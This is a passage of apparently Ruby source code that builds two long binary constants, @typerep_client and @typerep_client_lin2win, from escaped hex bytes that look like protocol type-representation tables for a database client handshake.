"\xdd\x00\x01\x00\x00\x01\xde\x01\xde\x00\x01\x00\x00\x01\xdf\x01" + @typerep_client << "\xdf\x00\x01\x00\x00\x01\xe0\x01\xe0\x00\x01\x00\x00\x01\xe1\x01" + @typerep_client << "\xe1\x00\x01\x00\x00\x01\xe2\x01\xe2\x00\x01\x00\x00\x01\xe3\x01" + @typerep_client << "\xe3\x00\x01\x01\x6b\x00\x01\x00\x00\x01\xe4\x01\xe4\x00\x01\x00" + @typerep_client << "\x00\x01\xe5\x01\xe5\x00\x01\x00\x00\x01\xe6\x01\xe6\x00\x01\x00" + @typerep_client << "\x00\x01\xea\x01\xea\x00\x01\x00\x00\x01\xeb\x01\xeb\x00\x01\x00" + @typerep_client << "\x00\x01\xec\x01\xec\x00\x01\x00\x00\x01\xed\x01\xed\x00\x01\x00" + @typerep_client << "\x00\x01\xee\x01\xee\x00\x01\x00\x00\x01\xef\x01\xef\x00\x01\x00" + @typerep_client << "\x00\x01\xf0\x01\xf0\x00\x01\x00" + @typerep_client << "\x00\x01\xf2\x01\xf2\x00\x01\x00\x00\x01\xf3\x01\xf3\x00\x01\x00" + @typerep_client << "\x00\x01\xf4\x01\xf4\x00\x01\x00\x00\x01\xf5\x01\xf5\x00\x01\x00" + @typerep_client << "\x00\x01\xf6\x01\xf6\x00\x01\x00\x00\x01\xfd\x01\xfd\x00\x01\x00" + @typerep_client << "\x00\x01\xfe\x01\xfe\x00\x01\x00\x00\x02\x01\x02\x01\x00\x01\x00" + @typerep_client << "\x00\x02\x02\x02\x02\x00\x01\x00\x00\x02\x04\x02\x04\x00\x01\x00" + @typerep_client << "\x00\x02\x05\x02\x05\x00\x01\x00\x00\x02\x06\x02\x06\x00\x01\x00" + @typerep_client << "\x00\x02\x07\x02\x07\x00\x01\x00\x00\x02\x08\x02\x08\x00\x01\x00" + @typerep_client << "\x00\x02\x09\x02\x09\x00\x01\x00\x00\x02\x0a\x02\x0a\x00\x01\x00" + @typerep_client << "\x00\x02\x0b\x02\x0b\x00\x01\x00\x00\x02\x0c\x02\x0c\x00\x01\x00" + @typerep_client << "\x00\x02\x0d\x02\x0d\x00\x01\x00\x00\x02\x0e\x02\x0e\x00\x01\x00" + @typerep_client << "\x00\x02\x0f\x02\x0f\x00\x01\x00\x00\x02\x10\x02\x10\x00\x01\x00" + @typerep_client << "\x00\x02\x11\x02\x11\x00\x01\x00\x00\x02\x12\x02\x12\x00\x01\x00" + @typerep_client << "\x00\x02\x13\x02\x13\x00\x01\x00\x00\x02\x14\x02\x14\x00\x01\x00" + @typerep_client << "\x00\x02\x15\x02\x15\x00\x01\x00\x00\x02\x16\x02\x16\x00\x01\x00" + @typerep_client << "\x00\x02\x17\x02\x17\x00\x01\x00\x00\x02\x18\x02\x18\x00\x01\x00" + @typerep_client << "\x00\x02\x19\x02\x19\x00\x01\x00\x00\x02\x1a\x02\x1a\x00\x01\x00" + @typerep_client << "\x00\x02\x1b\x02\x1b\x00\x01\x00\x00\x02\x1c\x02\x1c\x00\x01\x00" + @typerep_client << "\x00\x02\x1d\x02\x1d\x00\x01\x00\x00\x02\x1e\x02\x1e\x00\x01\x00" + @typerep_client << "\x00\x02\x1f\x02\x1f\x00\x01\x00\x00\x02\x20\x02\x20\x00\x01\x00" + @typerep_client << "\x00\x02\x21\x02\x21\x00\x01\x00\x00\x02\x22\x02\x22\x00\x01\x00" + @typerep_client << "\x00\x02\x23\x02\x23\x00\x01\x00\x00\x02\x24\x02\x24\x00\x01\x00" + @typerep_client << "\x00\x02\x25\x02\x25\x00\x01\x00\x00\x02\x26\x02\x26\x00\x01\x00" + @typerep_client << "\x00\x02\x27\x02\x27\x00\x01\x00\x00\x02\x28\x02\x28\x00\x01\x00" + @typerep_client << "\x00\x02\x29\x02\x29\x00\x01\x00\x00\x02\x2a\x02\x2a\x00\x01\x00" + @typerep_client << "\x00\x02\x2b\x02\x2b\x00\x01\x00\x00\x02\x2c\x02\x2c\x00\x01\x00" + @typerep_client << "\x00\x02\x2d\x02\x2d\x00\x01\x00\x00\x02\x2e\x02\x2e\x00\x01\x00" + @typerep_client << "\x00\x02\x2f\x02\x2f\x00\x01\x00\x00\x02\x30\x02\x30\x00\x01\x00" + @typerep_client << "\x00\x02\x31\x02\x31\x00\x01\x00\x00\x02\x32\x02\x32\x00\x01\x00" + @typerep_client << "\x00\x02\x33\x02\x33\x00\x01\x00\x00\x02\x34\x02\x34\x00\x01\x00" + @typerep_client << "\x00\x02\x35\x02\x35\x00\x01\x00\x00\x02\x36\x02\x36\x00\x01\x00" + @typerep_client << "\x00\x02\x37\x02\x37\x00\x01\x00\x00\x02\x38\x02\x38\x00\x01\x00" + @typerep_client << "\x00\x02\x39\x02\x39\x00\x01\x00\x00\x02\x3a\x02\x3a\x00\x01\x00" + @typerep_client << "\x00\x02\x3b\x02\x3b\x00\x01\x00\x00\x02\x3c\x02\x3c\x00\x01\x00" + @typerep_client << "\x00\x02\x3d\x02\x3d\x00\x01\x00\x00\x02\x3e\x02\x3e\x00\x01\x00" + @typerep_client << "\x00\x02\x3f\x02\x3f\x00\x01\x00\x00\x02\x40\x02\x40\x00\x01\x00" + @typerep_client << "\x00\x02\x41\x02\x41\x00\x01\x00\x00\x02\x42\x02\x42\x00\x01\x00" + @typerep_client << "\x00\x02\x43\x02\x43\x00\x01\x00\x00\x02\x44\x02\x44\x00\x01\x00" + @typerep_client << "\x00\x02\x45\x02\x45\x00\x01\x00\x00\x02\x46\x02\x46\x00\x01\x00" + @typerep_client << "\x00\x02\x47\x02\x47\x00\x01\x00\x00\x02\x48\x02\x48\x00\x01\x00" + @typerep_client << "\x00\x02\x49\x02\x49\x00\x01\x00\x00\x00\x03\x00\x02\x00\x0a\x00" + @typerep_client << "\x00\x00\x04\x00\x02\x00\x0a\x00\x00\x00\x05\x00\x01\x00\x01\x00" + @typerep_client << "\x00\x00\x06\x00\x02\x00\x0a\x00\x00\x00\x07\x00\x02\x00\x0a\x00" + @typerep_client << "\x00\x00\x09\x00\x01\x00\x01\x00\x00\x00\x0d\x00\x00\x00\x0e\x00" + @typerep_client << "\x00\x00\x0f\x00\x17\x00\x01\x00\x00\x00\x10\x00\x00\x00\x11\x00" + @typerep_client << "\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00\x15\x00" + @typerep_client << "\x00\x00\x16\x00\x00\x00\x27\x00\x78\x00\x01\x01\x5d\x00\x01\x01" + @typerep_client << "\x26\x00\x01\x00\x00\x00\x3a\x00\x3a\x00\x01\x00\x00\x00\x44\x00" + @typerep_client << "\x02\x00\x0a\x00\x00\x00\x45\x00\x00\x00\x46\x00\x00\x00\x4a\x00" + @typerep_client << "\x6d\x00\x01\x00\x00\x00\x4c\x00\x00\x00\x5b\x00\x02\x00\x0a\x00" + @typerep_client << "\x00\x00\x5e\x00\x01\x00\x01\x00\x00\x00\x5f\x00\x17\x00\x01\x00" + @typerep_client << "\x00\x00\x60\x00\x60\x00\x01\x00\x00\x00\x61\x00\x60\x00\x01\x00" + @typerep_client << "\x00\x00\x64\x00\x64\x00\x01\x00\x00\x00\x65\x00\x65\x00\x01\x00" + @typerep_client << "\x00\x00\x66\x00\x66\x00\x01\x00\x00\x00\x68\x00\x00\x00\x69\x00" + @typerep_client << "\x00\x00\x6a\x00\x6a\x00\x01\x00\x00\x00\x6c\x00\x6d\x00\x01\x00" + @typerep_client << "\x00\x00\x6d\x00\x6d\x00\x01\x00\x00\x00\x6e\x00\x6f\x00\x01\x00" + @typerep_client << "\x00\x00\x6f\x00\x6f\x00\x01\x00\x00\x00\x70\x00\x70\x00\x01\x00" + @typerep_client << "\x00\x00\x71\x00\x71\x00\x01\x00\x00\x00\x72\x00\x72\x00\x01\x00" + @typerep_client << "\x00\x00\x73\x00\x73\x00\x01\x00\x00\x00\x74\x00\x66\x00\x01\x00" + @typerep_client << "\x00\x00\x76\x00\x00\x00\x77\x00\x00\x00\x79\x00\x79\x00\x01\x00" + @typerep_client << "\x00\x00\x7a\x00\x7a\x00\x01\x00\x00\x00\x7b\x00\x7b\x00\x01\x00" + @typerep_client << "\x00\x00\x88\x00\x00\x00\x92\x00\x92\x00\x01\x00\x00\x00\x93\x00" + @typerep_client << "\x93\x00\x01\x00\x00\x00\x98\x00\x02\x00\x0a\x00\x00\x00\x99\x00" + @typerep_client << "\x02\x00\x0a\x00\x00\x00\x9a\x00\x02\x00\x0a\x00\x00\x00\x9b\x00" + @typerep_client << "\x01\x00\x01\x00\x00\x00\x9c\x00\x0c\x00\x0a\x00\x00\x00\xac\x00" + @typerep_client << "\x02\x00\x0a\x00\x00\x00\xb2\x00\xb2\x00\x01\x00\x00\x00\xb3\x00" + @typerep_client << "\xb3\x00\x01\x00\x00\x00\xb4\x00\xb4\x00\x01\x00\x00\x00\xb5\x00" + @typerep_client << "\xb5\x00\x01\x00\x00\x00\xb6\x00\xb6\x00\x01\x00\x00\x00\xb7\x00" + @typerep_client << "\xb7\x00\x01\x00\x00\x00\xb8\x00\x0c\x00\x0a\x00\x00\x00\xb9\x00" + @typerep_client << "\xb2\x00\x01\x00\x00\x00\xba\x00\xb3\x00\x01\x00\x00\x00\xbb\x00" + @typerep_client << "\xb4\x00\x01\x00\x00\x00\xbc\x00\xb5\x00\x01\x00\x00\x00\xbd\x00" + @typerep_client << "\xb6\x00\x01\x00\x00\x00\xbe\x00\xb7\x00\x01\x00\x00\x00\xbf\x00" + @typerep_client << "\x00\x00\xc0\x00\x00\x00\xc3\x00\x70\x00\x01\x00\x00\x00\xc4\x00" + @typerep_client << "\x71\x00\x01\x00\x00\x00\xc5\x00\x72\x00\x01\x00\x00\x00\xd0\x00" + @typerep_client << "\xd0\x00\x01\x00\x00\x00\xd1\x00\x00\x00\xe7\x00\xe7\x00\x01\x00" + @typerep_client << "\x00\x00\xe8\x00\xe7\x00\x01\x00\x00\x00\xe9\x00\xe9\x00\x01\x00" + @typerep_client << "\x00\x00\xf1\x00\x6d\x00\x01\x00\x00\x02\x03\x02\x03\x00\x01\x00" + @typerep_client << "\x00\x00\x00" + + @typerep_client_lin2win = "\x0a\x6b\x00\x00\x06\x00\x00\x00\x00\x00\x02\xb2\x00\xb2\x00\x42" + @typerep_client_lin2win << "\x27\x06\x01\x01\x01\x0f\x01\x01\x06\x01\x01\x01\x01\x01\x01\x01" + @typerep_client_lin2win << "\x7f\xff\x03\x0a\x03\x03\x01\x00\x7f\x01\x7f\xff\x01\x07\x01\x01" + @typerep_client_lin2win << "\x3f\x01\x04\x06\x00\x01\x07\x03\x07\x02\x01\x00\x00\x18\x00\x03" + @typerep_client_lin2win << "\x80\x00\x00\x00\x3c\x3c\x3c\x80\x00\x00\x00\x00\x00\x00\x0e\xd0" + @typerep_client_lin2win << "\x07\x00\x01\x00\x01\x00\x01\x00\x00\x00\x02\x00\x02\x00\x0a\x00" + @typerep_client_lin2win << "\x00\x00\x08\x00\x08\x00\x01\x00\x00\x00\x0c\x00\x0c\x00\x0a\x00" + @typerep_client_lin2win << "\x00\x00\x17\x00\x17\x00\x01\x00\x00\x00\x18\x00\x18\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x19\x00\x19\x00\x18\x00\x19\x00\x01\x00\x00\x00\x1a\x00" + @typerep_client_lin2win << "\x1a\x00\x19\x00\x1a\x00\x01\x00\x00\x00\x1b\x00\x1b\x00\x0a\x00" + @typerep_client_lin2win << "\x1b\x00\x01\x00\x00\x00\x1c\x00\x1c\x00\x16\x00\x1c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x1d\x00\x1d\x00\x17\x00\x1d\x00\x01\x00\x00\x00\x1e\x00" + @typerep_client_lin2win << "\x1e\x00\x17\x00\x1e\x00\x01\x00\x00\x00\x1f\x00\x1f\x00\x19\x00" + @typerep_client_lin2win << "\x1f\x00\x01\x00\x00\x00\x20\x00\x20\x00\x0a\x00\x20\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x21\x00\x21\x00\x0a\x00\x21\x00\x01\x00\x00\x00\x0a\x00" + @typerep_client_lin2win << "\x0a\x00\x01\x00\x00\x00\x0b\x00\x0b\x00\x01\x00\x00\x00\x28\x00" + @typerep_client_lin2win << "\x28\x00\x01\x00\x00\x00\x29\x00\x29\x00\x01\x00\x00\x00\x75\x00" + @typerep_client_lin2win << "\x75\x00\x01\x00\x00\x00\x78\x00\x78\x00\x01\x00\x00\x01\x22\x01" + @typerep_client_lin2win << "\x22\x00\x01\x00\x00\x01\x23\x01\x23\x00\x01\x01\x23\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x24\x01\x24\x00\x01\x00\x00\x01\x25\x01\x25\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x26\x01\x26\x00\x01\x00\x00\x01\x2a\x01\x2a\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x2b\x01\x2b\x00\x01\x00\x00\x01\x2c\x01\x2c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x2d\x01\x2d\x00\x01\x00\x00\x01\x2e\x01\x2e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x2f\x01\x2f\x00\x01\x00\x00\x01\x30\x01\x30\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x31\x01\x31\x00\x01\x00\x00\x01\x32\x01\x32\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x33\x01\x33\x00\x01\x00\x00\x01\x34\x01\x34\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x35\x01\x35\x00\x01\x00\x00\x01\x36\x01\x36\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x37\x01\x37\x00\x01\x00\x00\x01\x38\x01\x38\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x39\x01\x39\x00\x01\x00\x00\x01\x3b\x01\x3b\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x3c\x01\x3c\x00\x01\x00\x00\x01\x3d\x01\x3d\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x3e\x01\x3e\x00\x01\x00\x00\x01\x3f\x01\x3f\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x40\x01\x40\x00\x01\x00\x00\x01\x41\x01\x41\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x42\x01\x42\x00\x01\x00\x00\x01\x43\x01\x43\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x47\x01\x47\x00\x01\x00\x00\x01\x48\x01\x48\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x49\x01\x49\x00\x01\x00\x00\x01\x4b\x01\x4b\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x4d\x01\x4d\x00\x01\x00\x00\x01\x4e\x01\x4e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x4f\x01\x4f\x00\x01\x00\x00\x01\x50\x01\x50\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x51\x01\x51\x00\x01\x00\x00\x01\x52\x01\x52\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x53\x01\x53\x00\x01\x00\x00\x01\x54\x01\x54\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x55\x01\x55\x00\x01\x00\x00\x01\x56\x01\x56\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x57\x01\x57\x00\x01\x01\x57\x00\x01\x00\x00\x01\x58\x01" + @typerep_client_lin2win << "\x58\x00\x01\x00\x00\x01\x59\x01\x59\x00\x01\x00\x00\x01\x5a\x01" + @typerep_client_lin2win << "\x5a\x00\x01\x00\x00\x01\x5c\x01\x5c\x00\x01\x00\x00\x01\x5d\x01" + @typerep_client_lin2win << "\x5d\x00\x01\x00\x00\x01\x62\x01\x62\x00\x01\x00\x00\x01\x63\x01" + @typerep_client_lin2win << "\x63\x00\x01\x00\x00\x01\x67\x01\x67\x00\x01\x00\x00\x01\x6b\x01" + @typerep_client_lin2win << "\x6b\x00\x01\x00\x00\x01\x7c\x01\x7c\x00\x01\x01\x42\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x7d\x01\x7d\x00\x01\x00\x00\x01\x7e\x01\x7e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x7f\x01\x7f\x00\x01\x00\x00\x01\x80\x01\x80\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x81\x01\x81\x00\x01\x00\x00\x01\x82\x01\x82\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x83\x01\x83\x00\x01\x00\x00\x01\x84\x01\x84\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x85\x01\x85\x00\x01\x00\x00\x01\x86\x01\x86\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x87\x01\x87\x00\x01\x00\x00\x01\x89\x01\x89\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x8a\x01\x8a\x00\x01\x00\x00\x01\x8b\x01\x8b\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x8c\x01\x8c\x00\x01\x00\x00\x01\x8d\x01\x8d\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x8e\x01\x8e\x00\x01\x00\x00\x01\x8f\x01\x8f\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x90\x01\x90\x00\x01\x00\x00\x01\x91\x01\x91\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\x94\x01\x94\x00\x01\x01\x25\x00\x01\x00\x00\x01\x95\x01" + @typerep_client_lin2win << "\x95\x00\x01\x00\x00\x01\x96\x01\x96\x00\x01\x00\x00\x01\x97\x01" + @typerep_client_lin2win << "\x97\x00\x01\x00\x00\x01\x9d\x01\x9d\x00\x01\x00\x00\x01\x9e\x01" + @typerep_client_lin2win << "\x9e\x00\x01\x00\x00\x01\x9f\x01\x9f\x00\x01\x00\x00\x01\xa0\x01" + @typerep_client_lin2win << "\xa0\x00\x01\x00\x00\x01\xa1\x01\xa1\x00\x01\x00\x00\x01\xa2\x01" + @typerep_client_lin2win << "\xa2\x00\x01\x00\x00\x01\xa3\x01\xa3\x00\x01\x00\x00\x01\xa4\x01" + @typerep_client_lin2win << "\xa4\x00\x01\x00\x00\x01\xa5\x01\xa5\x00\x01\x00\x00\x01\xa6\x01" + @typerep_client_lin2win << "\xa6\x00\x01\x00\x00\x01\xa7\x01\xa7\x00\x01\x00\x00\x01\xa8\x01" + @typerep_client_lin2win << "\xa8\x00\x01\x00\x00\x01\xa9\x01\xa9\x00\x01\x00\x00\x01\xaa\x01" + @typerep_client_lin2win << "\xaa\x00\x01\x00\x00\x01\xab\x01\xab\x00\x01\x00\x00\x01\xad\x01" + @typerep_client_lin2win << "\xad\x00\x01\x00\x00\x01\xae\x01\xae\x00\x01\x00\x00\x01\xaf\x01" + @typerep_client_lin2win << "\xaf\x00\x01\x00\x00\x01\xb0\x01\xb0\x00\x01\x00\x00\x01\xb1\x01" + @typerep_client_lin2win << "\xb1\x00\x01\x00\x00\x01\xc1\x01\xc1\x00\x01\x00\x00\x01\xc2\x01" + @typerep_client_lin2win << "\xc2\x00\x01\x01\x25\x00\x01\x00\x00\x01\xc6\x01\xc6\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xc7\x01\xc7\x00\x01\x00\x00\x01\xc8\x01\xc8\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xc9\x01\xc9\x00\x01\x00\x00\x01\xca\x01\xca\x00\x01\x01" + @typerep_client_lin2win << "\x9f\x00\x01\x00\x00\x01\xcb\x01\xcb\x00\x01\x01\xa0\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xcc\x01\xcc\x00\x01\x01\xa2\x00\x01\x00\x00\x01\xcd\x01" + @typerep_client_lin2win << "\xcd\x00\x01\x01\xa3\x00\x01\x00\x00\x01\xce\x01\xce\x00\x01\x01" + @typerep_client_lin2win << "\xb1\x00\x01\x00\x00\x01\xcf\x01\xcf\x00\x01\x01\x22\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xd2\x01\xd2\x00\x01\x00\x00\x01\xd3\x01\xd3\x00\x01\x01" + @typerep_client_lin2win << "\xab\x00\x01\x00\x00\x01\xd4\x01\xd4\x00\x01\x00\x00\x01\xd5\x01" + @typerep_client_lin2win << "\xd5\x00\x01\x00\x00\x01\xd6\x01\xd6\x00\x01\x00\x00\x01\xd7\x01" + @typerep_client_lin2win << "\xd7\x00\x01\x00\x00\x01\xd8\x01\xd8\x00\x01\x00\x00\x01\xd9\x01" + @typerep_client_lin2win << "\xd9\x00\x01\x00\x00\x01\xda\x01\xda\x00\x01\x00\x00\x01\xdb\x01" + @typerep_client_lin2win << "\xdb\x00\x01\x00\x00\x01\xdc\x01\xdc\x00\x01\x00\x00\x01\xdd\x01" + @typerep_client_lin2win << "\xdd\x00\x01\x00\x00\x01\xde\x01\xde\x00\x01\x00\x00\x01\xdf\x01" + @typerep_client_lin2win << "\xdf\x00\x01\x00\x00\x01\xe0\x01\xe0\x00\x01\x00\x00\x01\xe1\x01" + @typerep_client_lin2win << "\xe1\x00\x01\x00\x00\x01\xe2\x01\xe2\x00\x01\x00\x00\x01\xe3\x01" + @typerep_client_lin2win << "\xe3\x00\x01\x01\x6b\x00\x01\x00\x00\x01\xe4\x01\xe4\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xe5\x01\xe5\x00\x01\x00\x00\x01\xe6\x01\xe6\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xea\x01\xea\x00\x01\x00\x00\x01\xeb\x01\xeb\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xec\x01\xec\x00\x01\x00\x00\x01\xed\x01\xed\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xee\x01\xee\x00\x01\x00\x00\x01\xef\x01\xef\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xf0\x01\xf0\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xf2\x01\xf2\x00\x01\x00\x00\x01\xf3\x01\xf3\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xf4\x01\xf4\x00\x01\x00\x00\x01\xf5\x01\xf5\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xf6\x01\xf6\x00\x01\x00\x00\x01\xfd\x01\xfd\x00\x01\x00" + @typerep_client_lin2win << "\x00\x01\xfe\x01\xfe\x00\x01\x00\x00\x02\x01\x02\x01\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x02\x02\x02\x00\x01\x00\x00\x02\x04\x02\x04\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x05\x02\x05\x00\x01\x00\x00\x02\x06\x02\x06\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x07\x02\x07\x00\x01\x00\x00\x02\x08\x02\x08\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x09\x02\x09\x00\x01\x00\x00\x02\x0a\x02\x0a\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x0b\x02\x0b\x00\x01\x00\x00\x02\x0c\x02\x0c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x0d\x02\x0d\x00\x01\x00\x00\x02\x0e\x02\x0e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x0f\x02\x0f\x00\x01\x00\x00\x02\x10\x02\x10\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x11\x02\x11\x00\x01\x00\x00\x02\x12\x02\x12\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x13\x02\x13\x00\x01\x00\x00\x02\x14\x02\x14\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x15\x02\x15\x00\x01\x00\x00\x02\x16\x02\x16\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x17\x02\x17\x00\x01\x00\x00\x02\x18\x02\x18\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x19\x02\x19\x00\x01\x00\x00\x02\x1a\x02\x1a\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x1b\x02\x1b\x00\x01\x00\x00\x02\x1c\x02\x1c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x1d\x02\x1d\x00\x01\x00\x00\x02\x1e\x02\x1e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x1f\x02\x1f\x00\x01\x00\x00\x02\x20\x02\x20\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x21\x02\x21\x00\x01\x00\x00\x02\x22\x02\x22\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x23\x02\x23\x00\x01\x00\x00\x02\x24\x02\x24\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x25\x02\x25\x00\x01\x00\x00\x02\x26\x02\x26\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x27\x02\x27\x00\x01\x00\x00\x02\x28\x02\x28\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x29\x02\x29\x00\x01\x00\x00\x02\x2a\x02\x2a\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x2b\x02\x2b\x00\x01\x00\x00\x02\x2c\x02\x2c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x2d\x02\x2d\x00\x01\x00\x00\x02\x2e\x02\x2e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x2f\x02\x2f\x00\x01\x00\x00\x02\x30\x02\x30\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x31\x02\x31\x00\x01\x00\x00\x02\x32\x02\x32\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x33\x02\x33\x00\x01\x00\x00\x02\x34\x02\x34\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x35\x02\x35\x00\x01\x00\x00\x02\x36\x02\x36\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x37\x02\x37\x00\x01\x00\x00\x02\x38\x02\x38\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x39\x02\x39\x00\x01\x00\x00\x02\x3a\x02\x3a\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x3b\x02\x3b\x00\x01\x00\x00\x02\x3c\x02\x3c\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x3d\x02\x3d\x00\x01\x00\x00\x02\x3e\x02\x3e\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x3f\x02\x3f\x00\x01\x00\x00\x02\x40\x02\x40\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x41\x02\x41\x00\x01\x00\x00\x02\x42\x02\x42\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x43\x02\x43\x00\x01\x00\x00\x02\x44\x02\x44\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x45\x02\x45\x00\x01\x00\x00\x02\x46\x02\x46\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x47\x02\x47\x00\x01\x00\x00\x02\x48\x02\x48\x00\x01\x00" + @typerep_client_lin2win << "\x00\x02\x49\x02\x49\x00\x01\x00\x00\x00\x03\x00\x02\x00\x0a\x00" + @typerep_client_lin2win << "\x00\x00\x04\x00\x02\x00\x0a\x00\x00\x00\x05\x00\x01\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x06\x00\x02\x00\x0a\x00\x00\x00\x07\x00\x02\x00\x0a\x00" + @typerep_client_lin2win << "\x00\x00\x09\x00\x01\x00\x01\x00\x00\x00\x0d\x00\x00\x00\x0e\x00" + @typerep_client_lin2win << "\x00\x00\x0f\x00\x17\x00\x01\x00\x00\x00\x10\x00\x00\x00\x11\x00" + @typerep_client_lin2win << "\x00\x00\x12\x00\x00\x00\x13\x00\x00\x00\x14\x00\x00\x00\x15\x00" + @typerep_client_lin2win << "\x00\x00\x16\x00\x00\x00\x27\x00\x78\x00\x01\x01\x5d\x00\x01\x01" + @typerep_client_lin2win << "\x26\x00\x01\x00\x00\x00\x3a\x00\x3a\x00\x01\x00\x00\x00\x44\x00" + @typerep_client_lin2win << "\x02\x00\x0a\x00\x00\x00\x45\x00\x00\x00\x46\x00\x00\x00\x4a\x00" + @typerep_client_lin2win << "\x6d\x00\x01\x00\x00\x00\x4c\x00\x00\x00\x5b\x00\x02\x00\x0a\x00" + @typerep_client_lin2win << "\x00\x00\x5e\x00\x01\x00\x01\x00\x00\x00\x5f\x00\x17\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x60\x00\x60\x00\x01\x00\x00\x00\x61\x00\x60\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x64\x00\x64\x00\x01\x00\x00\x00\x65\x00\x65\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x66\x00\x66\x00\x01\x00\x00\x00\x68\x00\x00\x00\x69\x00" + @typerep_client_lin2win << "\x00\x00\x6a\x00\x6a\x00\x01\x00\x00\x00\x6c\x00\x6d\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x6d\x00\x6d\x00\x01\x00\x00\x00\x6e\x00\x6f\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x6f\x00\x6f\x00\x01\x00\x00\x00\x70\x00\x70\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x71\x00\x71\x00\x01\x00\x00\x00\x72\x00\x72\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x73\x00\x73\x00\x01\x00\x00\x00\x74\x00\x66\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x76\x00\x00\x00\x77\x00\x00\x00\x79\x00\x79\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x7a\x00\x7a\x00\x01\x00\x00\x00\x7b\x00\x7b\x00\x01\x00" + @typerep_client_lin2win << "\x00\x00\x88\x00\x00\x00\x92\x00\x92\x00\x01\x00\x00\x00\x93\x00" + @typerep_client_lin2win << "\x93\x00\x01\x00\x00\x00\x98\x00\x02\x00\x0a\x00\x00\x00\x99\x00" 